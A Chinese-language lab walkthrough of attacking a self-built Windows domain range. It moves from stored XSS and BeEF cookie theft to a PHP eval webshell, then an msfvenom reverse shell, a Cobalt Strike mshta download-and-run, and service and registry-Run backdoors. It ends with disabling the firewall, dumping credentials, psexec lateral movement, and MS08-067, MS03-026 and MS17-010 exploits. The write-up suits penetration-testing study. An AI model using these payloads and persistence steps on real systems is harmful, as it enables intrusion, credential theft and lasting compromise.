为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓
- 01 环境搭建
- 02 外网突破
- 03 权限提升并维持
- (1)获取 meterpreter 会话
- (2)尝试开启远程桌面
- (3)Msf 派生 Cobalt Strike shell
- (4)Cobalt Strike 制作 Powersehll 反弹 Shell
- (5)后门程序植入
- 04 横向移动
- (1)Cobalt Strike 获得域控权限
- (2)msf 内网利用
- (3)持续内网攻击
01 环境搭建
自建靶场拓扑如下图所示:
具体主机配置信息如下表所示:
主机配置完成后,连通性测试满足以下三点:
1、Windows 7 能连通所有主机,但所有主机都不与 Windows 7 连通。
2、Windows Server 2003 和 Windows Server 2008 相互连通。
3、Windows 7 上用 phpStudy 开启 Web 服务后,浏览器访问 127.0.0.1 能访问到 PhpStudy 探针页面。
02 外网突破
Kali 攻击机上使用系统自带的 Nmap 进行目标开放端口探测,执行命令为 nmap -T4 -A 192.168.40.133,从执行扫描后的结果可以清楚得知目标服务器192.168.40.133 开放了 80 端口
访问 http://192.168.40.133/yxcms/页面,浏览网页相关消息,留言本模块中留言内容部分插入 xss 测试代码<script>alert(1)</script>
模拟管理员登入后台查看留言管理,发现出现弹框
确定网站存在存储型 XXS 后,计划利用 beef-xss 的 hook 功能模块获取后台管理员的cookie消息。首先Kali攻击机启动beef-xss,修改登录密码为jkxy@123
访问 beef-xss 的 web 管理界面:http://127.0.0.1:3000/ui/panel,使用账号密码 beef/jkxy@123 成功登录
使用 beef 平台生成的 hook 进行 XSS 攻击,在留言本中发布一个带 hook 的评论
模拟后台管理员进行内容审核操作
在 Kali 攻击机上登录 beef,这里可以看到被勾连的浏览器,我们获得了其登录的 URL 和 cookie
利 用 Burp Suite 代 理 工 具 , 抓 取 管 理 员 后 台 登 录 时 的 请 求 包 , 在Proxy—>Option—>Match and Replace 板块添加一个规则:^Cookie.*$,其中Cookie 填入 beef-xss 中获取的 cookie 消息,添加好后把 enabled 勾上,这样每次经过 burp 的请求都是固定的 cookie。
使用浏览器重新访问后台网站,发现直接登录后台管理页面
成功登录 CMS管理员后台后,找到模板编辑处,往 index_index.php 中,插入一句话:
<?php eval($_POST["jkxy"]);?>
中国蚁剑连接 http://192.168.239.202/yxcms/index.php,使用 ipconfig 命令进行虚拟终端功能测试,发现能成功返回 Windows 7 服务器 IP 地址192.168.40.133
测试中国蚁剑文件管理功能,发现成功回显 webshell 所在目录C:/phpStudy/WWW/yxcms/public,说明中国蚁剑成功连接 webshell
至此攻击者通过存储型XSS至getshell,成功获取边界Web服务器权限。
03 权限提升并维持
获得了 Windows 7 边界服务器的 webshell 后,利用该 webshell进行权限提升并维持操作。
(1)获取 meterpreter 会话
Kali 攻击机中利用 msfvenom 模块生成木马,执行命令 生成一个木马程序,同时 msf 开启监听模块
msfvenom -p Windows/meterpreter/reverse_tcp lhost=192.168.40.131 lport=6666 -f exe
-o shell.exe
用蚁剑将木马上传至 Windows 7 中的C:/phpStudy/WWW/yxcms/public 目录
下
利用蚁剑虚拟终端进入 C:/phpStudy/WWW/yxcms/public 目录下执行木马
此时查看 msf 监听内容,发现返回 meterpreter 的shell,并利用 getsystem,成功提权到 system 权限
(2)尝试开启远程桌面
获取 meterpreter 会话并提权至 system 权限后,可以尝试使用命令开启远程桌面,维持控制
run post/Windows/manage/enable_rdp
Kali 攻击机中使用命令 rdesktop 192.168.40.133 尝试远程连接服务器,成功进入远程登录界面
发现缺少登录账号,于是使用中国蚁剑添加用户,并将其加入管理员组,执行命令如下
net user jkxy mjxy@314159/add
net localgroup administrators jkxy /add
net user jkxy
使用新创建的用户 jkxy/mjxy@314159 进行远程桌面登录,用户登录成功,但系统提示:其他用户当前已登录到此计算机。如果继续,则该用户必须断开与此计算机的连接。是否继续。
模拟 Windows 7 用户查看桌面情况,发现系统提示:STu1yikxy 要连接到该计算机。请单击“确定”立即断开您的会话连接或单击“取消”保持连接状态。否则,您将在 30 秒后被断开。
(3)Msf 派生 Cobalt Strike shell
打开 Cobalt Strik,先打开服务端,执行命令./teamserver 192.168.40.131 jkxy@123 启动,其中第一个参数是地址,第二个参数是密码,地址是我们本机的地址,密码任意设置,这里为jkxy@123
接着输入命令启动客户端 Java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar,密码就填刚刚的 jkxy@123
启动后的界面如下图所示:
进入该界面后首先需要创建一个 listener,点击左上角的 cobaltstrike->listeners,此时会在下方显示一个 listeners 窗口,点击add 添加新的 listener,而后点击 save 保存
退回到 msf 中,利用注入模块将 shell 派生到 Cobalt Strike 中
再次回到 Cobalt Strike中肉鸡便上线了
拿到 Cobalt Strikeshell 后,一般先将回显时间由默认的 60s 改成 1s,Cobalt Strike 的 shell,执行 Windows 的命令时,只需要在命令前加 shell 即可。
(4)Cobalt Strike 制作 Powersehll 反弹 Shell
添加一个用于接收 beacon 的 listener CobaltStrike_beacon,并制作木马,生成攻击链接。
这条链接就是用于执行本次攻击的链接,接着用蚁剑直接执行命令:
mshta http://192.168.40.133:80/download/file.ext
执行后,此时切换回 Kali 攻击机便能直观观察到肉鸡已经上线。
目前,我们已经用 Cobalt Strike 拿到了两个 Windows 7 的 shell,接着新建一个监听端口并选择其中一个 shell 进行漏洞提权。
稍等片刻后,发现提权成功
(5)后门程序植入
在渗透过程中拿到目标系统权限只是开始,如果管理员修复了漏洞,权限就丢失了,这时候要想持续在内网进行渗透就需要权限维持。接下来通过开机启动项和注册表进行进一步权限维持。计划通过 service 留自启动后门,生成一个 exe 后门。
首先创建一个监听 cs_back_door 专门用于后门程序的监听;
然后Cobalt Strike 中依次点击 Attacks->packages->Windows executable,点击genetrate 后保存即可
接着 Cobalt Strike 中右键 explore>file browser,选择我们想要的路径,这里以 C:\Windows 为例,把生成的 exe 程序上传到 Windows 7
然后如在 bean 中输入以下命令
shell sc create "server power" binpath= "C:\Windows\artifact.exe"(创建项及路径)
shell sc description "server power" "description"(设置服务的描述字符串)
shell sc config "server power" start= auto(设置服务为自启动)
shell net start "server power"(启动服务)
模拟 Windows 7 用户查看服务项,可以看到 server power 项
可见这个 exe 是设置有效的,接下来重启目标机器
机器重启完毕之后,Cobalt Strike 又自动获取了控制权,持续时间最短的那个就是重启后自动获得的
除此之外,也可以直接向注册表写开机启动项,同样是上一步生成的木马程序在 bean 中输入命令
shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d
42
"C:\Windows\artifact.exe" /f
执行命令成功界面如图所示
切换到靶机,打开注册表 regedit.exe,在对应的路径下找到了该项,那么也就是说我们已经成功写入注册表的自启动项了
04 横向移动
(1)Cobalt Strike 获得域控权限
进行权限维持之后,我们开始进行内网的横向移动。首先我们发现防火墙开启,而后利用命令关闭防火墙,命令如下:
shell netsh firewall show state;
shell netsh advfirewall set allprofiles state off
是命令成功执行界面如下图所示:
接着使用命令 net view 获取域内目标
切换到 Targets 模块中查看局域网内的情况。可以看到目标中,name 分三块:STU1 也就是我们已获得权限的 Windows 7 边界服务器,域内还有两台 OWA 和 ROOT-TVI862UBEH
![在这里插入图片描述](https://img-blog.csdnimg.cn/5870d00d611b4eb29ccbcc47975fe2ce.png#pic_center) 了解域内大概情况后,先利用 Cobalt Strike 的 beacon 使用 hashdump 命令抓取 Windows 7 中的密码
接着使用 logonpasswords 查看明文消息,
执行完后,查看凭证,发现域控用户 Administrator 的密码为44jkxy@3.14159,如图 。
明确域控管理员账号后,尝试对域控进行攻击。首先增加一个 smb listener
在 target 列表中选择 name 为 OWA 的主机,右键 jump->psexec
填入用户名密码,选择刚刚创建的 Listener,选择 System 的那个 Session
点击 Lauch成功拿到域控权限,如图。
使用同样的方式攻击另一台域内主机,Listener 选择 smb_2,Session 选则刚拿到的域控会话
攻击后目标主机成功上线,现拿到三台 sysytem 权限服务器
(2)msf 内网利用
在 Cobalt Strike 中获取三台主机权限后,利用隧道把 msf 代理到内网利用,尝试继续内网横向渗透。
首先在 beacon shell 中输入 socks 1234,1234 为端口,我们可以随意设置,只要不冲突就行
接着点击 Cobalt Strike 菜单上的 view->proxy pivots
可以看到代理的情况,然后点击下方的tunnel,会出现一条命令
Kali 攻击机上启动 msf,把上一步复制的命令粘贴进来,这样就把 msf 代理到内网中去了,接下来就可以使用 msf 继续对内网中的机器进行渗透
在 meterpreter 中使用 run get_local_subnets 查看本地路由消息发现存在192.168.40.0 段和 192.168.52.0 段,其中 40 为公网网段、52 为内网网段。
接着使用命令 run autoroute -s 192.168.52.0/24 添加路由,使得 MSF 能够通过 Windows 7 路由转发访问 192.168.52.0 网段。在 meterpreter中使用 run post/Windows/gather/arp_scanner Rhost 192.168.52.0/24 扫描 52网段,发现同网段内仅有三台主机,且为 Cobalt Strike 拿下的三台 system 权限主机。
(3)持续内网攻击
继续使用 msf 进行内网渗透测试,还发现以下可利用漏洞模块部分
1、MS08-067
使用 MS08-067 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:
msfconsole
setg proxies socks4: 127.0.0.1:1234
use Windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set lport 4444
run
发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞获取目标系统权限
2、RPC DCOM 服务漏洞
使用 RPC DCOM 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:
msfconsole
setg proxies socks4: 127.0.0.1:1234
use Windows/dcerpc/ms03_026_dcom
set rhost 192.168.52.141
set lport 135
set payload Windows/meterpreter/bind_tcp
run
发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞获取目标系统权限
(3)MS17-010
使用 MS17-010 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:
msfconsole
setg proxies socks4: 127.0.0.1:1234
exploit/Windows/smb/ms17_010_eternalblue
set payload Windows/x64/meterpreter/bind_tcp
set RHOST 192.168.40.141
run
发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞使目标主机蓝屏